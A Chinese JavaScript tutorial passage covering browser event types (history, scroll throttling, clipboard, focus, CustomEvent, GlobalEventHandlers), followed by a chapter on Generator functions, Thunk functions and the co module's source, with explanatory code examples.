上面代码中，`pushState`方法向`history`添加了两条记录，然后`replaceState`方法替换掉当前记录。

因此，连续两次`back`方法，会让当前条目退回到原始网址，它没有附带`state`对象，所以事件的`state`属性为`null`，然后前进两条记录，又回到`replaceState`方法添加的记录。

浏览器对于页面首次加载，是否触发`popstate`事件，处理不一样，Firefox 不触发该事件。

##### hashchange 事件

`hashchange`事件在 URL 的 hash 部分（即`#`号后面的部分，包括`#`号）发生变化时触发。该事件一般在`window`对象上监听。

`hashchange`的事件实例具有两个特有属性：`oldURL`属性和`newURL`属性，分别表示变化前后的完整 URL。

```js
// URL 是 http://www.example.com/
window.addEventListener('hashchange', myFunction);

function myFunction(e) {
  console.log(e.oldURL);
  console.log(e.newURL);
}

location.hash = 'part2';
// http://www.example.com/
// http://www.example.com/#part2
```

#### 网页状态事件

##### DOMContentLoaded 事件

网页下载并解析完成以后，浏览器就会在`document`对象上触发 DOMContentLoaded 事件。

这时，**仅仅完成了网页的解析**（整张页面的 DOM 生成了），所有外部资源（样式表、脚本、iframe 等等）可能还没有下载结束。

也就是说，这个事件比`load`事件，发生时间早得多。

```js
document.addEventListener('DOMContentLoaded', function (event) {
  console.log('DOM生成');
});
```

注意，网页的 JavaScript 脚本是同步执行的，脚本一旦发生堵塞，将推迟触发`DOMContentLoaded`事件。

##### readystatechange 事件

`readystatechange`事件当 Document 对象和 XMLHttpRequest 对象的`readyState`属性发生变化时触发。

`document.readyState`有三个可能的值：`loading`（网页正在加载）、`interactive`（网页已经解析完成，但是外部资源仍然处在加载状态）和`complete`（网页和所有外部资源已经结束加载，`load`事件即将触发）。

```js
document.onreadystatechange = function () {
  if (document.readyState === 'interactive') {
    // ...
  }
}
```

这个事件可以看作`DOMContentLoaded`事件的另一种实现方法。

#### 窗口事件

##### scroll 事件

`scroll`事件在文档或文档元素滚动时触发，主要出现在用户拖动滚动条。

```js
window.addEventListener('scroll', callback);
```

该事件会连续地大量触发，所以它的监听函数之中不应该有非常耗费计算的操作。

推荐的做法是使用`requestAnimationFrame`或`setTimeout`控制该事件的触发频率，然后可以结合`customEvent`抛出一个新事件。

> \[!tip]
>
> 关于`requestAnimationFrame`，requestAnimationFrame（简称 rAF）是 JavaScript 中用来做动画的一个工具，`requestAnimationFrame`对比`setTimeout` / `setInterval`，后者需要指定**执行时机**，但是前者能自动判断执行时机 。
>
> 1. **自动匹配屏幕刷新率**：大多数屏幕每秒刷新60次（60Hz），rAF 会自动按这个节奏来，动画更顺滑
> 2. **省电**：当页面被隐藏或最小化时，rAF 会自动暂停，不浪费电脑/手机电量
> 3. **浏览器优化**：浏览器会智能安排 rAF 的执行时机，避免卡顿
>
> 主要用于网页动画，游戏开发，任何需要流畅视觉效果的地方。
>
> **总结**：requestAnimationFrame 就像是一个聪明的动画助手，它知道什么时候执行动画最合适，让你的网页动画更流畅、更省电！

```js
(function () {
  var throttle = function (type, name, obj) {
    var obj = obj || window;
    var running = false;
    var func = function () {
      if (running) { return; }
      running = true;
      requestAnimationFrame(function() {
        obj.dispatchEvent(new CustomEvent(name));
        running = false;
      });
    };
    obj.addEventListener(type, func);
  };

  // 将 scroll 事件转为 optimizedScroll 事件
  throttle('scroll', 'optimizedScroll');
})();

window.addEventListener('optimizedScroll', function() {
  console.log('Resource conscious scroll callback!');
});
```

上面代码中，`throttle()`函数用于控制事件触发频率，它有一个内部函数`func()`，每次`scroll`事件实际上触发的是这个函数。`func()`函数内部使用`requestAnimationFrame()`方法，保证只有每次页面重绘时（每秒60次），才可能会触发`optimizedScroll`事件，从而实际上将`scroll`事件转换为`optimizedScroll`事件，触发频率被控制在每秒最多60次。

改用`setTimeout()`方法，可以放置更大的时间间隔。

```js
(function() {
  window.addEventListener('scroll', scrollThrottler, false);

  var scrollTimeout;
  function scrollThrottler() {
    if (!scrollTimeout) {
      scrollTimeout = setTimeout(function () {
        scrollTimeout = null;
        actualScrollHandler();
      }, 66);
    }
  }

  function actualScrollHandler() {
    // ...
  }
}());
```

上面代码中，每次`scroll`事件都会执行`scrollThrottler`函数。该函数里面有一个定时器`setTimeout`，每66毫秒触发一次（每秒15次）真正执行的任务`actualScrollHandler`。

下面是一个更一般的`throttle`函数的写法。

```js
function throttle(fn, wait) {
  var time = Date.now();
  return function() {
    if ((time + wait - Date.now()) < 0) {
      fn();
      time = Date.now();
    }
  }
}

window.addEventListener('scroll', throttle(callback, 1000));
```

上面的代码将`scroll`事件的触发频率，限制在一秒一次。

[`Lodash`](https://www.lodashjs.com/)函数库提供了现成的`throttle`函数，可以直接使用。

```js
window.addEventListener('scroll', _.throttle(callback, 1000));
```

本书前面介绍过`debounce`的概念，`throttle`与它区别在于，`throttle`是“节流”，确保一段时间内只执行一次，而`debounce`是“防抖”，要连续操作结束后再执行。

以网页滚动为例，`debounce`要等到用户停止滚动后才执行，`throttle`则是如果用户一直在滚动网页，那么在滚动过程中还是会执行。

##### resize 事件

`resize`事件在改变浏览器窗口大小时触发，主要发生在`window`对象上面。

```js
var resizeMethod = function () {
  if (document.body.clientWidth < 768) {
    console.log('移动设备的视口');
  }
};

window.addEventListener('resize', resizeMethod, true);
```

该事件也会连续地大量触发，所以最好像上面的`scroll`事件一样，通过`throttle`函数控制事件触发频率。

##### fullscreenchange 事件

##### fullscreenerror 事件

`fullscreenchange`事件在进入或退出全屏状态时触发，该事件发生在`document`对象上面。

```js
document.addEventListener('fullscreenchange', function (event) {
  console.log(document.fullscreenElement);
});
```

`fullscreenerror`事件在浏览器无法切换到全屏状态时触发。

#### 剪贴板事件

以下三个事件属于剪贴板操作的相关事件。

* `cut`：将选中的内容从文档中移除，加入剪贴板时触发。
* `copy`：进行复制动作时触发。
* `paste`：剪贴板内容粘贴到文档后触发。

举例来说，如果希望禁止输入框的粘贴事件，可以使用下面的代码。

```js
inputElement.addEventListener('paste', e => e.preventDefault());
```

上面的代码使得用户无法在`<input>`输入框里面粘贴内容。

`cut`、`copy`、`paste`这三个事件的事件对象都是`ClipboardEvent`接口的实例。

`ClipboardEvent`有一个实例属性`clipboardData`，是一个 DataTransfer 对象，存放剪贴的数据。

```js
document.addEventListener('copy', function (e) {
  e.clipboardData.setData('text/plain', 'Hello, world!');
  e.clipboardData.setData('text/html', '<b>Hello, world!</b>');
  e.preventDefault();
});
```

上面的代码使得复制进入剪贴板的，都是开发者指定的数据，而不是用户想要拷贝的数据。

#### 焦点事件

焦点事件发生在元素节点和`document`对象上面，与获得或失去焦点相关。它主要包括以下四个事件。

* `focus`：元素节点获得焦点后触发，该事件不会冒泡。
* `blur`：元素节点失去焦点后触发，该事件不会冒泡。
* `focusin`：元素节点将要获得焦点时触发，发生在`focus`事件之前。该事件会冒泡。
* `focusout`：元素节点将要失去焦点时触发，发生在`blur`事件之前。该事件会冒泡。

这四个事件的事件对象都继承了`FocusEvent`接口。`FocusEvent`实例具有以下属性。

* `FocusEvent.target`：事件的目标节点。
* `FocusEvent.relatedTarget`：对于`focusin`事件，返回失去焦点的节点；对于`focusout`事件，返回将要接受焦点的节点；对于`focus`和`blur`事件，返回`null`。

由于`focus`和`blur`事件不会冒泡，只能在捕获阶段触发，所以`addEventListener`方法的第三个参数需要设为`true`。

```js
form.addEventListener('focus', function (event) {
  event.target.style.background = 'pink';
}, true);

form.addEventListener('blur', function (event) {
  event.target.style.background = '';
}, true);
```

上面代码针对表单的文本输入框，接受焦点时设置背景色，失去焦点时去除背景色。

#### CustomEvent 接口

CustomEvent 接口用于生成自定义的事件实例。那些浏览器预定义的事件，虽然可以手动生成，但是往往不能在事件上绑定数据。如果需要在触发事件的同时，传入指定的数据，就可以使用 CustomEvent 接口生成的自定义事件对象。

浏览器原生提供`CustomEvent()`构造函数，用来生成 CustomEvent 事件实例。

```js
new CustomEvent(type, options)
```

`CustomEvent()`构造函数接受两个参数。第一个参数是字符串，表示事件的名字，这是必须的。第二个参数是事件的配置对象，这个参数是可选的。`CustomEvent`的配置对象除了接受 Event 事件的配置属性，只有一个自己的属性。

* `detail`：表示事件的附带数据，默认为`null`。

下面是一个例子。

```js
var event = new CustomEvent('build', { 'detail': 'hello' });

function eventHandler(e) {
  console.log(e.detail);
}

document.body.addEventListener('build', function (e) {
  console.log(e.detail);
});

document.body.dispatchEvent(event);
```

上面代码中，我们手动定义了`build`事件。该事件触发后，会被监听到，从而输出该事件实例的`detail`属性（即字符串`hello`）。

下面是另一个例子。

```js
var myEvent = new CustomEvent('myevent', {
  detail: {
    foo: 'bar'
  },
  bubbles: true,
  cancelable: false
});

el.addEventListener('myevent', function (event) {
  console.log('Hello ' + event.detail.foo);
});

el.dispatchEvent(myEvent);
```

上面代码也说明，CustomEvent 的事件实例，除了具有 Event 接口的实例属性，还具有`detail`属性。

### GlobalEventHandlers 接口

指定事件的回调函数，推荐使用的方法是元素的`addEventListener`方法。

```js
div.addEventListener('click', clickHandler, false);
```

除了之外，还有一种方法可以直接指定事件的回调函数。

```js
div.onclick = clickHandler;
```

这个接口是由`GlobalEventHandlers`接口提供的。它的优点是使用比较方便，缺点是只能为每个事件指定一个回调函数，并且无法指定事件触发的阶段（捕获阶段还是冒泡阶段）。

`HTMLElement`、`Document`和`Window`都继承了这个接口，也就是说，各种 HTML 元素、`document`对象、`window`对象上面都可以使用`GlobalEventHandlers`接口提供的属性。下面就列出这个接口提供的主要的事件属性。

#### GlobalEventHandlers.onabort

某个对象的`abort`事件（停止加载）发生时，就会调用`onabort`属性指定的回调函数。

#### GlobalEventHandlers.onerror

`error`事件发生时，就会调用`onerror`属性指定的回调函数。

`error`事件分成两种。

一种是 JavaScript 的运行时错误，这会传到`window`对象，导致`window.onerror()`。

```js
window.onerror = function (message, source, lineno, colno, error) {
  // ...
}
```

`window.onerror`的处理函数共接受五个参数，含义如下。

* message：错误信息字符串
* source：报错脚本的 URL
* lineno：报错的行号，是一个整数
* colno：报错的列号，是一个整数
* error： 错误对象

另一种是资源加载错误，比如`<img>`或`<script>`加载的资源出现加载错误。这时，Error 对象会传到对应的元素，导致该元素的`onerror`属性开始执行。

```js
element.onerror = function (event) {
  // ...
}
```

注意，一般来说，资源的加载错误不会触发`window.onerror`。

#### GlobalEventHandlers.onload

#### GlobalEventHandlers.onloadstart

元素完成加载时，会触发`load`事件，执行`onload()`。它的典型使用场景是`window`对象和`<img>`元素。对于`window`对象来说，只有页面的所有资源加载完成（包括图片、脚本、样式表、字体等所有外部资源），才会触发`load`事件。

对于`<img>`和`<video>`等元素，加载开始时还会触发`loadstart`事件，导致执行`onloadstart`。

#### GlobalEventHandlers.onfocus

#### GlobalEventHandlers.onblur

当前元素获得焦点时，会触发`element.onfocus`；失去焦点时，会触发`element.onblur`。

```js
element.onfocus = function () {
  console.log("onfocus event detected!");
};
element.onblur = function () {
  console.log("onblur event detected!");
};
```

注意，如果不是可以接受用户输入的元素，要触发`onfocus`，该元素必须有`tabindex`属性。

#### GlobalEventHandlers.onscroll

页面或元素滚动时，会触发`scroll`事件，导致执行`onscroll()`。

#### GlobalEventHandlers.oncontextmenu

#### GlobalEventHandlers.onshow

用户在页面上按下鼠标的右键，会触发`contextmenu`事件，导致执行`oncontextmenu()`。

如果该属性执行后返回`false`，就等于禁止了右键菜单。`document.oncontextmenu`与`window.oncontextmenu`效果一样。

```js
document.oncontextmenu = function () {
  return false;
};
```

上面代码中，`oncontextmenu`属性执行后返回`false`，右键菜单就不会出现。

元素的右键菜单显示时，会触发该元素的`onshow`监听函数。

#### 其他的事件属性

鼠标的事件属性。

* onclick
* ondblclick
* onmousedown
* onmouseenter
* onmouseleave
* onmousemove
* onmouseout
* onmouseover
* onmouseup
* onwheel

键盘的事件属性。

* onkeydown
* onkeypress
* onkeyup

焦点的事件属性。

* onblur
* onfocus

表单的事件属性。

* oninput
* onchange
* onsubmit
* onreset
* oninvalid
* onselect

触摸的事件属性。

* ontouchcancel
* ontouchend
* ontouchmove
* ontouchstart

拖动的事件属性分成两类：一类与被拖动元素相关，另一类与接收被拖动元素的容器元素相关。

被拖动元素的事件属性。

* ondragstart：拖动开始
* ondrag：拖动过程中，每隔几百毫秒触发一次
* ondragend：拖动结束

接收被拖动元素的容器元素的事件属性。

* ondragenter：被拖动元素进入容器元素。
* ondragleave：被拖动元素离开容器元素。
* ondragover：被拖动元素在容器元素上方，每隔几百毫秒触发一次。
* ondrop：松开鼠标后，被拖动元素放入容器元素。

`<dialog>`对话框元素的事件属性。

* oncancel
* onclose

---

---
url: /js/eaqtgf22/index.md
---
# Generator函数
## 传统方法

| 方法          | 简介                                                         | 示例                                                         | 缺点                                      |
| :------------ | :----------------------------------------------------------- | ------------------------------------------------------------ | ----------------------------------------- |
| **回调函数**  | 最基础的异步方式，将函数作为参数传递，在异步完成后调用       | `setTimeout(() => { console.log('Done!'); }, 1000);`         | 回调地狱（Callback Hell），难以维护和阅读 |
| **事件监听**  | 通过监听事件触发异步操作，常用于 DOM 和 Node.js 事件系统     | `button.addEventListener('click', () => { console.log('Clicked!'); });` | 流程不直观，事件绑定过多时难以管理        |
| **发布/订阅** | 通过消息中心调度，订阅者监听特定主题，发布者触发事件         | ` PubSub.js PubSub.subscribe('event', () => { console.log('Event!'); }); PubSub.publish('event');` | 需要引入第三方库，事件流难以追踪          |
| **Promise**   | ES6 引入前的早期实现，通过链式调用解决回调地狱               | `new Promise((resolve) => { setTimeout(resolve, 1000); }).then(() => { console.log('Done!'); });` | 部分浏览器需 polyfill，错误处理需 catch   |
| **Generator** | ES6 新特性，通过 yield 暂停函数执行，配合执行器实现异步（如 co 库） | `function* gen() { yield asyncTask(); }`                     | 需要额外执行器，语法较复杂                |

## 基本概念

### 异步

所谓"异步"，简单说就是一个任务不是连续完成的，可以理解成该任务被人为分成两段，先执行第一段，然后转而执行其他任务，等做好了准备，再回过头执行第二段。

不连续的执行，就叫做异步，相应地，连续的执行就叫做同步。

### 回调函数

JavaScript 语言对异步编程的实现，就是回调函数。所谓回调函数，就是把任务的第二段单独写在一个函数里面，等到重新执行这个任务的时候，就直接调用这个函数。回调函数的英语名字`callback`，直译过来就是"重新调用"。

```js
fs.readFile('/etc/passwd', 'utf-8', function (err, data) {
  if (err) throw err;
  console.log(data);
});
```

上面代码中，`readFile`函数的第三个参数，就是回调函数，也就是任务的第二段。等到操作系统返回了`/etc/passwd`这个文件以后，回调函数才会执行。

> \[!tip]
>
> 一个有趣的问题是，为什么 Node 约定，回调函数的第一个参数，必须是错误对象`err`（如果没有错误，该参数就是`null`）？
>
> 原因是执行分成两段，第一段执行完以后，任务所在的上下文环境就已经结束了。在这以后抛出的错误，原来的上下文环境已经无法捕捉，只能当作参数，传入第二段。

回调函数本身并没有问题，它的问题出现在多个回调函数嵌套。假定读取`A`文件之后，再读取`B`文件，代码如下。

```js
fs.readFile(fileA, 'utf-8', function (err, data) {
  fs.readFile(fileB, 'utf-8', function (err, data) {
    // ...
  });
});
```

多个异步操作形成了强耦合，只要有一个操作需要修改，它的上层回调函数和下层回调函数，可能都要跟着修改。这种情况就称为"回调函数地狱"（callback hell）。

### Promise

Promise允许将回调函数的嵌套，改成链式调用。

```js
var readFile = require('fs-readfile-promise');

readFile(fileA)
.then(function (data) {
  console.log(data.toString());
})
.then(function () {
  return readFile(fileB);
})
.then(function (data) {
  console.log(data.toString());
})
.catch(function (err) {
  console.log(err);
});
```

Promise 的最大问题是代码冗余，原来的任务被 Promise 包装了一下，不管什么操作，一眼看去都是一堆`then`，原来的语义变得很不清楚。

## Generator 函数

### 协程

传统的编程语言，早有异步编程的解决方案（其实是多任务的解决方案）。其中有一种叫做"协程"（coroutine），意思是多个线程互相协作，完成异步任务。

协程有点像函数，又有点像线程。它的运行流程大致如下。

* 第一步，协程`A`开始执行。
* 第二步，协程`A`执行到一半，进入暂停，执行权转移到协程`B`。
* 第三步，（一段时间后）协程`B`交还执行权。
* 第四步，协程`A`恢复执行。

上面流程的协程`A`，就是异步任务，因为它分成两段（或多段）执行。

### 协程的 Generator 函数实现

Generator 函数是协程在 ES6 的实现，最大特点就是可以交出函数的执行权（即暂停执行）。

整个 Generator 函数就是一个封装的异步任务，或者说是异步任务的容器。异步操作需要暂停的地方，都用`yield`语句注明。Generator 函数的执行方法如下。

```js
function* gen(x) {
  var y = yield x + 2;
  return y;
}

var g = gen(1);
g.next() // { value: 3, done: false }
g.next() // { value: undefined, done: true }
```

上面代码中，调用 Generator 函数，会返回一个内部指针（即遍历器）`g`。这是 Generator 函数不同于普通函数的另一个地方，即执行它不会返回结果，返回的是指针对象。调用指针`g`的`next`方法，会移动内部指针（即执行异步任务的第一段），指向第一个遇到的`yield`语句，上例是执行到`x + 2`为止。

换言之，`next`方法的作用是分阶段执行`Generator`函数。每次调用`next`方法，会返回一个对象，表示当前阶段的信息（`value`属性和`done`属性）。`value`属性是`yield`语句后面表达式的值，表示当前阶段的值；`done`属性是一个布尔值，表示 Generator 函数是否执行完毕，即是否还有下一个阶段。

### Generator 函数的数据交换和错误处理

Generator 函数可以暂停执行和恢复执行，这是它能封装异步任务的根本原因。除此之外，它还有两个特性，使它可以作为异步编程的完整解决方案：函数体内外的数据交换和错误处理机制。

`next`返回值的 value 属性，是 Generator 函数向外输出数据；`next`方法还可以接受参数，向 Generator 函数体内输入数据。

```js
function* gen(x){
  var y = yield x + 2;
  return y;
}

var g = gen(1);
g.next() // { value: 3, done: false }
g.next(2) // { value: 2, done: true }
```

Generator 函数内部还可以部署错误处理代码，捕获函数体外抛出的错误。

```js
function* gen(x){
  try {
    var y = yield x + 2;
  } catch (e){
    console.log(e);
  }
  return y;
}

var g = gen(1);
g.next();
g.throw('出错了');
// 出错了
```

上述示例，出错的代码与处理错误的代码，实现了时间和空间上的分离，这对于异步编程无疑是很重要的

### 异步任务的封装

使用 Generator 函数执行一个真实的异步任务：

```js
var fetch = require('node-fetch');

function* gen(){
  var url = 'https://api.github.com/users/github';
  var result = yield fetch(url);
  console.log(result.bio);
}
// 执行
var g = gen();
var result = g.next();

result.value.then(function(data){
  return data.json();
}).then(function(data){
  g.next(data);
});
```

首先执行 Generator 函数，获取遍历器对象，然后使用`next`方法（第二行），执行异步任务的第一阶段。由于`Fetch`模块返回的是一个 Promise 对象，因此要用`then`方法调用下一个`next`方法。

可以看到，虽然 Generator 函数将异步操作表示得很简洁，但是流程管理却不方便（即何时执行第一阶段、何时执行第二阶段）。

## Thunk 函数

Thunk 函数是自动执行 Generator 函数的一种方法。

### 参数的求值策略

**传值调用 vs 传名调用**

在编程语言的发展早期，计算机科学家们曾激烈争论一个问题：**函数的参数应该在什么时候求值？**这个问题被称为**“求值策略”**（Evaluation Strategy）。

其中最具代表性的两种方法是\*\*“传值调用”（Call by Value）**和**“传名调用”（Call by Name）\*\*。

#### 传值调用（Call by Value）

**传值调用**指的是在函数执行之前，先计算参数表达式的值，再将结果传入函数。例如：

```js
var x = 1;

function f(m) {
  return m * 2;
}

f(x + 5);  // 先计算 x + 5 = 6

// 等同于：

f(6);  // 最终计算 6 * 2 = 12
```

**特点：**

* **优点**：逻辑清晰，易于理解和优化。
* **缺点**：如果参数在函数内部未被使用，可能会造成不必要的计算开销。

**典型语言：** C、Java、JavaScript（基本类型）等。

#### 传名调用（Call by Name）

**传名调用**则不同，它不会预先计算参数，而是**直接把表达式传入函数**，直到真正需要时才求值。例如：

```js
f(x + 5);  

// 等同于：

return (x + 5) * 2;  // 直到使用时才计算 x + 5
```

**特点：**

* **优点**：避免不必要的计算，提升性能（特别是当参数未被使用时）。
* **缺点**：实现复杂，可能多次求值同一表达式，影响效率。

**典型语言：** Haskell、Scala（部分支持）等。

#### 对比

两种方法各有优劣：

* **传值调用**更直观，但可能导致**冗余计算**（如参数未被使用时）。
* **传名调用**更灵活，但可能**重复计算**（如参数被多次引用时）。

为了兼顾性能和可预测性，现代语言引入了更优化的策略，如：

* **惰性求值（Lazy Evaluation）**：按需计算，但缓存结果（如 Haskell）。
* **引用传递（Call by Reference）**：直接操作变量地址（如 C++ 的 `&` 参数）。
* **JavaScript 的优化**：基本类型采用传值，对象采用“共享传递”（Call by Sharing）。

| 策略         | 求值时机   | 优点           | 缺点         | 适用场景         |
| ------------ | ---------- | -------------- | ------------ | ---------------- |
| **传值调用** | 调用前求值 | 简单、可预测   | 可能冗余计算 | 大多数命令式语言 |
| **传名调用** | 使用时求值 | 避免不必要计算 | 可能重复计算 | 函数式语言       |

### Thunk 函数的含义

编译器的“传名调用”实现，往往是将参数放到一个临时函数之中，再将这个临时函数传入函数体。这个临时函数就叫做 **Thunk 函数。**

```js
function f(m) {
  return m * 2;
}

f(x + 5);

// 等同于

var thunk = function () {
  return x + 5;
};

function f(thunk) {
  return thunk() * 2;
}
```

上面代码中，函数 f 的参数`x + 5`被一个函数替换了。凡是用到原参数的地方，对`Thunk`函数求值即可。

这就是 Thunk 函数的定义，它是“传名调用”的一种实现策略，用来替换某个表达式。

### JavaScript 语言的 Thunk 函数

JavaScript 语言是传值调用，它的 Thunk 函数含义有所不同。在 JavaScript 语言中，Thunk 函数替换的不是表达式，而是多参数函数，**将其替换成一个只接受回调函数作为参数的单参数函数。**

```js
// 正常版本的readFile（多参数版本）
fs.readFile(fileName, callback);

// Thunk版本的readFile（单参数版本）
var Thunk = function (fileName) {
  return function (callback) {
    return fs.readFile(fileName, callback);
  };
};

var readFileThunk = Thunk(fileName);
readFileThunk(callback);
```

上面代码中，`fs`模块的`readFile`方法是一个多参数函数，两个参数分别为文件名和回调函数。经过转换器处理，它变成了一个单参数函数，只接受回调函数作为参数。这个单参数版本，就叫做 Thunk 函数。

\*\*任何函数，只要参数有回调函数，就能写成 Thunk 函数的形式。\*\*下面是一个简单的 Thunk 函数转换器。

```js
// ES5版本
var Thunk = function(fn){
  return function (){
    var args = Array.prototype.slice.call(arguments);
    return function (callback){
      args.push(callback);
      return fn.apply(this, args);
    }
  };
};

// ES6版本
const Thunk = function(fn) {
  return function (...args) {
    return function (callback) {
      return fn.call(this, ...args, callback);
    }
  };
};
```

使用上面的转换器，生成`fs.readFile`的 Thunk 函数。

```js
var readFileThunk = Thunk(fs.readFile);
readFileThunk(fileA)(callback);
```

下面是另一个完整的例子。

```js
function f(a, cb) {
  cb(a);
}
const ft = Thunk(f);

ft(1)(console.log) // 1
```

### Thunkify 模块

生产环境的转换器，建议使用 Thunkify 模块。

首先是安装。

```bash
npm install thunkify
```

使用方式如下。

```js
var thunkify = require('thunkify');
var fs = require('fs');

var read = thunkify(fs.readFile);
read('package.json')(function(err, str){
  // ...
});
```

Thunkify 的源码与上一节那个简单的转换器非常像。

```js
function thunkify(fn) {
  return function() {
    var args = new Array(arguments.length);
    var ctx = this;

    for (var i = 0; i < args.length; ++i) {
      args[i] = arguments[i];
    }

    return function (done) {
      var called;

      args.push(function () {
        if (called) return;
        called = true;
        done.apply(null, arguments);
      });

      try {
        fn.apply(ctx, args);
      } catch (err) {
        done(err);
      }
    }
  }
};
```

它的源码主要多了一个检查机制，变量`called`确保回调函数只运行一次。这样的设计与下文的 Generator 函数相关。请看下面的例子。

```js
function f(a, b, callback){
  var sum = a + b;
  callback(sum);
  callback(sum);
}

var ft = thunkify(f);
var print = console.log.bind(console);
ft(1, 2)(print);
// 3
```

上面代码中，由于`thunkify`只允许回调函数执行一次，所以只输出一行结果。

### Generator 函数的流程管理

Thunk 函数有什么用？回答是以前确实没什么用。

但是 ES6 有了 Generator 函数，Thunk 函数现在可以用于 Generator 函数的自动流程管理。

```js
function* gen() {
  // ...
}

var g = gen();
var res = g.next();

while(!res.done){
  console.log(res.value);
  res = g.next();
}
```

上面代码中，Generator 函数`gen`会自动执行完所有步骤。

但是，这不适合异步操作。如果必须保证前一步执行完，才能执行后一步，上面的自动执行就不可行。

这时，Thunk 函数就能派上用处。以读取文件为例。下面的 Generator 函数封装了两个异步操作。

```js
var fs = require('fs');
var thunkify = require('thunkify');
var readFileThunk = thunkify(fs.readFile);

var gen = function* (){
  var r1 = yield readFileThunk('/etc/fstab');
  console.log(r1.toString());
  var r2 = yield readFileThunk('/etc/shells');
  console.log(r2.toString());
};
```

上面代码中，`yield`命令用于将程序的执行权移出 Generator 函数，那么就需要一种方法，将执行权再交还给 Generator 函数。

这种方法就是 Thunk 函数，因为它可以在回调函数里，将执行权交还给 Generator 函数。为了便于理解，我们先看如何手动执行上面这个 Generator 函数。

```js
var g = gen();

var r1 = g.next();
r1.value(function (err, data) {
  if (err) throw err;
  var r2 = g.next(data);
  r2.value(function (err, data) {
    if (err) throw err;
    g.next(data);
  });
});
```

上面代码中，变量`g`是 Generator 函数的内部指针，表示目前执行到哪一步。`next`方法负责将指针移动到下一步，并返回该步的信息（`value`属性和`done`属性）。

仔细查看上面的代码，可以发现 Generator 函数的执行过程，其实是将同一个回调函数，反复传入`next`方法的`value`属性。这使得我们可以用递归来自动完成这个过程。

### Thunk 函数的自动流程管理

Thunk 函数真正的威力，在于可以自动执行 Generator 函数。下面就是一个基于 Thunk 函数的 Generator 执行器。

```js
function run(fn) {
  var gen = fn();

  function next(err, data) {
    var result = gen.next(data);
    if (result.done) return;
    result.value(next);
  }

  next();
}

function* g() {
  // ...
}

run(g);
```

上面代码的`run`函数，就是一个 Generator 函数的自动执行器。内部的`next`函数就是 Thunk 的回调函数。`next`函数先将指针移到 Generator 函数的下一步（`gen.next`方法），然后判断 Generator 函数是否结束（`result.done`属性），如果没结束，就将`next`函数再传入 Thunk 函数（`result.value`属性），否则就直接退出。

有了这个执行器，执行 Generator 函数方便多了。不管内部有多少个异步操作，直接把 Generator 函数传入`run`函数即可。当然，前提是每一个异步操作，都要是 Thunk 函数，也就是说，跟在`yield`命令后面的必须是 Thunk 函数。

```js
var g = function* (){
  var f1 = yield readFileThunk('fileA');
  var f2 = yield readFileThunk('fileB');
  // ...
  var fn = yield readFileThunk('fileN');
};

run(g);
```

上面代码中，函数`g`封装了`n`个异步的读取文件操作，只要执行`run`函数，这些操作就会自动完成。这样一来，异步操作不仅可以写得像同步操作，而且一行代码就可以执行。

Thunk 函数并不是 Generator 函数自动执行的唯一方案。因为自动执行的关键是，必须有一种机制，自动控制 Generator 函数的流程，接收和交还程序的执行权。回调函数可以做到这一点，Promise 对象也可以做到这一点。

## co 模块

[co 模块](https://github.com/tj/co)是著名程序员 TJ Holowaychuk 于 2013 年 6 月发布的一个小工具，用于 Generator 函数的自动执行。

下面是一个 Generator 函数，用于依次读取两个文件。

```js
var gen = function* () {
  var f1 = yield readFile('/etc/fstab');
  var f2 = yield readFile('/etc/shells');
  console.log(f1.toString());
  console.log(f2.toString());
};
```

co 模块可以让你不用编写 Generator 函数的执行器。

```js
var co = require('co');
co(gen);
```

上面代码中，Generator 函数只要传入`co`函数，就会自动执行。

`co`函数返回一个`Promise`对象，因此可以用`then`方法添加回调函数。

```js
co(gen).then(function (){
  console.log('Generator 函数执行完成');
});
```

### 原理

为什么 co 可以自动执行 Generator 函数？

前面说过，Generator 就是一个异步操作的容器。它的自动执行需要一种机制，当异步操作有了结果，能够自动交回执行权。

两种方法可以做到这一点。

（1）回调函数。将异步操作包装成 Thunk 函数，在回调函数里面交回执行权。

（2）Promise 对象。将异步操作包装成 Promise 对象，用`then`方法交回执行权。

co 模块其实就是将两种自动执行器（Thunk 函数和 Promise 对象），包装成一个模块。使用 co 的前提条件是，Generator 函数的`yield`命令后面，只能是 Thunk 函数或 Promise 对象。如果数组或对象的成员，全部都是 Promise 对象，也可以使用 co，

### 基于 Promise 对象的自动执行

基于 Promise 对象的自动执行器。这是理解 co 模块必须的。

首先，把`fs`模块的`readFile`方法包装成一个 Promise 对象。

```js
var fs = require('fs');

var readFile = function (fileName){
  return new Promise(function (resolve, reject){
    fs.readFile(fileName, function(error, data){
      if (error) return reject(error);
      resolve(data);
    });
  });
};

var gen = function* (){
  var f1 = yield readFile('/etc/fstab');
  var f2 = yield readFile('/etc/shells');
  console.log(f1.toString());
  console.log(f2.toString());
};
```

```js
var g = gen();

g.next().value.then(function(data){
  g.next(data).value.then(function(data){
    g.next(data);
  });
});
```

手动执行其实就是用`then`方法，层层添加回调函数。理解了这一点，就可以写出一个自动执行器。

```js
function run(gen){
  var g = gen();

  function next(data){
    var result = g.next(data);
    if (result.done) return result.value;
    result.value.then(function(data){
      next(data);
    });
  }

  next();
}

run(gen);
```

上面代码中，只要 Generator 函数还没执行到最后一步，`next`函数就调用自身，以此实现自动执行。

### co 模块的源码

co 就是上面那个自动执行器的扩展，它的源码只有几十行，非常简单。

首先，co 函数接受 Generator 函数作为参数，返回一个 Promise 对象。

```js
function co(gen) {
  var ctx = this;
  return new Promise(function(resolve, reject) { });
}
```

在返回的 Promise 对象里面，co 先检查参数`gen`是否为 Generator 函数。如果是，就执行该函数，得到一个内部指针对象；如果不是就返回，并将 Promise 对象的状态改为`resolved`。

```js
function co(gen) {
  var ctx = this;

  return new Promise(function(resolve, reject) {
    if (typeof gen === 'function') gen = gen.call(ctx);
    if (!gen || typeof gen.next !== 'function') return resolve(gen);
  });
}
```

接着，co 将 Generator 函数的内部指针对象的`next`方法，包装成`onFulfilled`函数。这主要是为了能够捕捉抛出的错误。

```javascript
function co(gen) {
  var ctx = this;

  return new Promise(function(resolve, reject) {
    if (typeof gen === 'function') gen = gen.call(ctx);
    if (!gen || typeof gen.next !== 'function') return resolve(gen);

    onFulfilled();
    function onFulfilled(res) {
      var ret;
      try {
        ret = gen.next(res);
      } catch (e) {
        return reject(e);
      }
      next(ret);
    }
  });
}
```

最后，就是关键的`next`函数，它会反复调用自身。

```javascript
function next(ret) {
  if (ret.done) return resolve(ret.value);
  var value = toPromise.call(ctx, ret.value);
  if (value && isPromise(value)) return value.then(onFulfilled, onRejected);
  return onRejected(
    new TypeError(
      'You may only yield a function, promise, generator, array, or object, '
      + 'but the following object was passed: "'
      + String(ret.value)
      + '"'
    )
  );
}
```

